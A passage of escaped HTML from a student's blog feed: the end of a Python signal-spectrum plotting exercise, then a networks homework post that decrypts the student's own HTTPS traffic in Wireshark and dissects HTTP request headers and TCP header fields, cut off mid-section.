\u003cspan class=\"n\"\u003eplt\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etight_layout\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n \u003cspan class=\"n\"\u003eplt\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eshow\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch2 id=\"第一问\"\u003e第一问\u003ca class=\"headerlink\" href=\"#第一问\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\cos(\\omega_0 t + \\phi) \\longleftrightarrow \\pi \\left[ \\delta(\\omega+\\omega_0) e^{-j\\phi} + \\delta(\\omega-\\omega_0) e^{j\\phi} \\right]\n\\]\u003c/div\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003eplot_signals\u003c/span\u003e\u003cspan class=\"p\"\u003e([\u003c/span\u003e\n \u003cspan class=\"n\"\u003eSignalInfo\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"sa\"\u003erf\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;$\\omega_0$ = \u003c/span\u003e\u003cspan class=\"si\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003eomega\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s1\"\u003e rad/s, \u0026#39;\u003c/span\u003e\n \u003cspan class=\"sa\"\u003erf\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;$\\phi$ = \u003c/span\u003e\u003cspan class=\"si\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eround\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edegrees\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ephi\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s1\"\u003e°\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"n\"\u003ef\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"k\"\u003elambda\u003c/span\u003e \u003cspan class=\"n\"\u003et\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eomega\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"n\"\u003eomega\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ephi\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"n\"\u003ephi\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecos\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eomega\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003et\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"n\"\u003ephi\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"n\"\u003eomega\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ephi\u003c/span\u003e \u003cspan class=\"ow\"\u003ein\u003c/span\u003e \u003cspan class=\"nb\"\u003ezip\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eomega_values\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ephi_values\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e])\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e\u003cimg alt=\"频谱 1\" src=\"../../../obsidian-vault/attachments/Pasted%20image%2020240617170137.png\" /\u003e\u003c/p\u003e\n\u003ch2 id=\"第二问\"\u003e第二问\u003ca class=\"headerlink\" href=\"#第二问\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\ne^{j(\\omega_0 t + \\phi)} \\longleftrightarrow 2\\pi \\delta(\\omega-\\omega_0) e^{j\\phi}\n\\]\u003c/div\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003eplot_signals\u003c/span\u003e\u003cspan class=\"p\"\u003e([\u003c/span\u003e\n \u003cspan class=\"n\"\u003eSignalInfo\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"sa\"\u003erf\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;$\\omega_0$ = \u003c/span\u003e\u003cspan class=\"si\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003eomega\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s1\"\u003e rad/s, \u0026#39;\u003c/span\u003e\n \u003cspan class=\"sa\"\u003erf\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;$\\phi$ = \u003c/span\u003e\u003cspan class=\"si\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eround\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edegrees\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ephi\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s1\"\u003e°\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"n\"\u003ef\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"k\"\u003elambda\u003c/span\u003e \u003cspan class=\"n\"\u003et\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eomega\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"n\"\u003eomega\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ephi\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"n\"\u003ephi\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eexp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eomega\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003et\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"n\"\u003ephi\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n \u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"n\"\u003eomega\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ephi\u003c/span\u003e \u003cspan class=\"ow\"\u003ein\u003c/span\u003e \u003cspan class=\"nb\"\u003ezip\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eomega_values\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ephi_values\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e])\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e\u003cimg alt=\"频谱 2\" src=\"../../../obsidian-vault/attachments/Pasted%20image%2020240617170240.png\" /\u003e\u003c/p\u003e\n\u003ch2 id=\"第三问\"\u003e第三问\u003ca class=\"headerlink\" href=\"#第三问\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\begin{align}\nf_1(t) \u0026amp;= e^{j(t + 15^\\circ)} + e^{j(3t - 30^\\circ)} \\\\\nf_2(t) \u0026amp;= e^{j(t + 15^\\circ)} + e^{j(6t + 60^\\circ)} \\\\\nf_3(t) \u0026amp;= e^{j(3t - 30^\\circ)} + e^{j(6t + 60^\\circ)}\n\\end{align}\n\\]\u003c/div\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"kn\"\u003efrom\u003c/span\u003e \u003cspan class=\"nn\"\u003eitertools\u003c/span\u003e \u003cspan class=\"kn\"\u003eimport\u003c/span\u003e \u003cspan class=\"n\"\u003ecombinations\u003c/span\u003e\n\n\u003cspan class=\"n\"\u003eplot_signals\u003c/span\u003e\u003cspan class=\"p\"\u003e([\u003c/span\u003e\n \u003cspan class=\"n\"\u003eSignalInfo\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"sa\"\u003ef\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;$\u003c/span\u003e\u003cspan class=\"se\"\u003e\\\\\u003c/span\u003e\u003cspan class=\"s1\"\u003eomega_1$ = \u003c/span\u003e\u003cspan class=\"si\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003eomega1\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s1\"\u003e rad/s, \u0026#39;\u003c/span\u003e\n \u003cspan class=\"sa\"\u003ef\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;$\u003c/span\u003e\u003cspan class=\"se\"\u003e\\\\\u003c/span\u003e\u003cspan class=\"s1\"\u003ephi_1$ = \u003c/span\u003e\u003cspan class=\"si\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eround\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edegrees\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ephi1\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s1\"\u003e°\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\n \u003cspan class=\"sa\"\u003ef\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;$\u003c/span\u003e\u003cspan class=\"se\"\u003e\\\\\u003c/span\u003e\u003cspan class=\"s1\"\u003eomega_2$ = \u003c/span\u003e\u003cspan class=\"si\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003eomega2\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s1\"\u003e rad/s, \u0026#39;\u003c/span\u003e\n \u003cspan class=\"sa\"\u003ef\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;$\u003c/span\u003e\u003cspan class=\"se\"\u003e\\\\\u003c/span\u003e\u003cspan class=\"s1\"\u003ephi_2$ = \u003c/span\u003e\u003cspan class=\"si\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eround\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edegrees\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ephi2\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s1\"\u003e°\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"n\"\u003ef\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"k\"\u003elambda\u003c/span\u003e \u003cspan class=\"n\"\u003et\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eomega1\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"n\"\u003eomega1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ephi1\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"n\"\u003ephi1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eomega2\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"n\"\u003eomega2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ephi2\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"n\"\u003ephi2\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n \u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ereal\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eexp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eomega1\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003et\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"n\"\u003ephi1\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \\\n \u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eexp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eomega2\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003et\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"n\"\u003ephi2\u003c/span\u003e\u003cspan class=\"p\"\u003e)))\u003c/span\u003e\n \u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003eomega1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ephi1\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eomega2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ephi2\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"ow\"\u003ein\u003c/span\u003e \u003cspan class=\"n\"\u003ecombinations\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nb\"\u003ezip\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eomega_values\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ephi_values\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e])\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e\u003cimg alt=\"频谱 3\" src=\"../../../obsidian-vault/attachments/Pasted%20image%2020240617170316.png\" /\u003e\u003c/p\u003e\n\u003ch2 id=\"结论\"\u003e结论\u003ca class=\"headerlink\" href=\"#结论\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e实信号的幅值频谱是偶函数,相位频谱是奇函数。复信号的频谱没有这样的特点。\u003c/p\u003e\u003chr /\u003e","url":"https://note.stalomeow.com/blog/posts/signal-spectrum-experiment/"},{"title":"Wireshark 抓包 HTTP 实验","time":"2024-06-17T08:36:10Z","content":"\u003ch1 id=\"Wireshark-抓包-HTTP-实验\"\u003eWireshark 抓包 HTTP 实验\u003ca class=\"headerlink\" href=\"#Wireshark-抓包-HTTP-实验\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h1\u003e\n\u003c!-- more --\u003e\n\n\u003cp\u003e大二下,计网作业。\u003c/p\u003e\n\u003ch2 id=\"解密-HTTPS\"\u003e解密 HTTPS\u003ca class=\"headerlink\" href=\"#解密-HTTPS\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e现在网站基本都用 HTTPS,HTTPS 用了 TLS 做加密,需要解密后才能看到原始的 HTTP 报文。\u003c/p\u003e\n\u003cp\u003eChrome 和 Firefox 浏览器提供了记录 TLS 密钥的功能。添加环境变量 \u003ccode\u003eSSLKEYLOGFILE\u003c/code\u003e,值为一个文件路径。彻底重启浏览器(任务管理器里检查),TLS 密钥相关的信息就会被保存到这个文件中。\u003c/p\u003e\n\u003cp\u003e在 Wireshark 中,点击编辑 \u0026gt; 首选项,找到 Protocols \u0026gt; TLS 中的 (Pre)-Master-Secret log filename 填入之前的文件路径就能解密 HTTPS 了。\u003c/p\u003e\n\u003ch2 id=\"过滤\"\u003e过滤\u003ca class=\"headerlink\" href=\"#过滤\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e设置过滤表达式 \u003ccode\u003ehttp || http2 || http3 || tcp\u003c/code\u003e,然后去浏览器打开 https://www.baidu.com 过一会再关闭。\u003c/p\u003e\n\u003cp\u003e回到 Wireshark,找到协议为 TLSv1.2 的 \u003ccode\u003eClient Hello (SNI=www.baidu.com)\u003c/code\u003e,得知目标的 ip 地址为 110.242.68.3。\u003c/p\u003e\n\u003cp\u003e更新过滤表达式为 \u003ccode\u003e(http || http2 || http3 || tcp) \u0026amp;\u0026amp; (ip.src == 110.242.68.3 || ip.dst == 110.242.68.3)\u003c/code\u003e。\u003c/p\u003e\n\u003ch2 id=\"数据包分析\"\u003e数据包分析\u003ca class=\"headerlink\" href=\"#数据包分析\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003ch3 id=\"应用层\"\u003e应用层\u003ca class=\"headerlink\" href=\"#应用层\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e\u003cimg alt=\"应用层\" src=\"../../../obsidian-vault/attachments/wireshark-exp-http-data.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e应用层使用 HTTP。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e请求行,方法为 \u003ccode\u003eGET\u003c/code\u003e,URL 为 \u003ccode\u003e/\u003c/code\u003e,版本为 \u003ccode\u003eHTTP/1.1\u003c/code\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003eGET / HTTP/1.1 \n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e请求头\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"nt\"\u003eHost\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"l l-Scalar l-Scalar-Plain\"\u003ewww.baidu.com\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\n\u003cspan class=\"nt\"\u003eConnection\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"l l-Scalar l-Scalar-Plain\"\u003ekeep-alive\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\n\u003cspan class=\"nt\"\u003esec-ch-ua\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;Microsoft\u003c/span\u003e\u003cspan class=\"nv\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003eEdge\u0026quot;\u003c/span\u003e\u003cspan class=\"l l-Scalar l-Scalar-Plain\"\u003e;v=\u0026quot;125\u0026quot;, \u0026quot;Chromium\u0026quot;;v=\u0026quot;125\u0026quot;, \u0026quot;Not.A/Brand\u0026quot;;v=\u0026quot;24\u0026quot;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\n\u003cspan class=\"nt\"\u003esec-ch-ua-mobile\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"l l-Scalar l-Scalar-Plain\"\u003e?0\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\n\u003cspan class=\"nt\"\u003esec-ch-ua-platform\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;Windows\u0026quot;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\n\u003cspan class=\"nt\"\u003eUpgrade-Insecure-Requests\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"l l-Scalar l-Scalar-Plain\"\u003e1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\n\u003cspan class=\"nt\"\u003eUser-Agent\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"l l-Scalar l-Scalar-Plain\"\u003eMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Edg/125.0.0.0\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\n\u003cspan class=\"nt\"\u003eAccept\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"l l-Scalar l-Scalar-Plain\"\u003etext/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\n\u003cspan class=\"nt\"\u003eSec-Fetch-Site\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"l l-Scalar l-Scalar-Plain\"\u003enone\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\n\u003cspan class=\"nt\"\u003eSec-Fetch-Mode\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"l l-Scalar l-Scalar-Plain\"\u003enavigate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\n\u003cspan class=\"nt\"\u003eSec-Fetch-User\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"l l-Scalar l-Scalar-Plain\"\u003e?1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\n\u003cspan class=\"nt\"\u003eSec-Fetch-Dest\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"l l-Scalar l-Scalar-Plain\"\u003edocument\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\n\u003cspan class=\"nt\"\u003eAccept-Encoding\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"l l-Scalar l-Scalar-Plain\"\u003egzip, deflate, br, zstd\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\n\u003cspan class=\"nt\"\u003eAccept-Language\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"l l-Scalar l-Scalar-Plain\"\u003ezh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6\u003c/span\u003e\n\u003cspan class=\"nt\"\u003eCookie\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"l l-Scalar l-Scalar-Plain\"\u003e...\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e空行\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e主体(这里没有)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"传输层\"\u003e传输层\u003ca class=\"headerlink\" href=\"#传输层\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e\u003cimg alt=\"传输层\" src=\"../../../obsidian-vault/attachments/wireshark-exp-tcp-data.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e传输层使用 TCP。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e源始端口:\u003ccode\u003ee9 88\u003c/code\u003e(59784 端口)\u003c/li\u003e\n\u003cli\u003e目的端口:\u003ccode\u003e01 bb\u003c/code\u003e(443 端口)\u003c/li\u003e\n\u003cli\u003e序列号:\u003ccode\u003e85 ad cd ce\u003c/code\u003e(2242760142)\u003c/li\u003e\n\u003cli\u003e确认号:\u003ccode\u003edf cc 85 0f\u003c/code\u003e(3754722575)\u003c/li\u003e\n\u003cli\u003e偏移:\u003ccode\u003e5\u003c/code\u003e(头部长度为 5*4=20 